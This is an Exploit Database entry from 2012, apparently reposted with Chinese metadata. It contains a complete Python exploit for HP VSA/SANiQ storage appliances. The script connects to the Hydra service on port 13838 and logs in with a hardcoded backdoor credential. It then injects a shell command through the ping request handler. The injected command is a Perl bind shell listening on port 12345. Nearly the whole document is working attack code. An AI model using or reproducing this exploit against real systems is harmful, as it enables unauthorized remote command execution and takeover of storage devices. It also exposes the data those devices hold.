HP VSA – Remote Command Execution

Exploit Database
111 阅读

作者： Nicolas Gregoire

日期： 2012-02-17
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/18893/

#!/usr/bin/python

''' ==================================

Pseudo documentation

================================== '''

# HP VSA / SANiQ Hydra client

# Nicolas Grégoire <nicolas.gregoire@agarri.fr>

# v0.5

''' ==================================

Target information

================================== '''

HOST = '192.168.201.11' # The remote host

PORT = 13838 # The hydra port

''' ==================================

Imports

================================== '''

import getopt

import re

import sys

import binascii

import struct

import socket

import os

''' ==================================

Define functions

================================== '''

# Some nice formatting

def zprint(str):

print '[=] ' + str

# Define packets

def send_Exec():

zprint('Send Exec')

# RESTRICTIONS

# You can't use "/" in the payload

# No Netcat/Ruby/PHP, but telnet/bash/perl are available

# METASPLOIT PAYLOAD

cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

# COMMAND INJECTION BUG

data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

# EXPLOIT

zprint('Now connect to port 12345 of machine ' + str(HOST))

send_packet(data)

def send_Login():

zprint('Send Login')

data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor

send_packet(data)

# Define the sending function

def send_packet(message):

# Add header

ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'

ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'

message = message + '\x00'

data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

# Send & receive

s.send(data)

data = s.recv(1024)

zprint('Received : [' + data + ']')

''' ==================================

Main code

================================== '''

# Print bannner

zprint('HP Hydra client')

zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(30)

s.connect((HOST, PORT))

# Attack !

send_Login()

send_Exec()

# Deconnect

s.close

# Exit

zprint('Exit')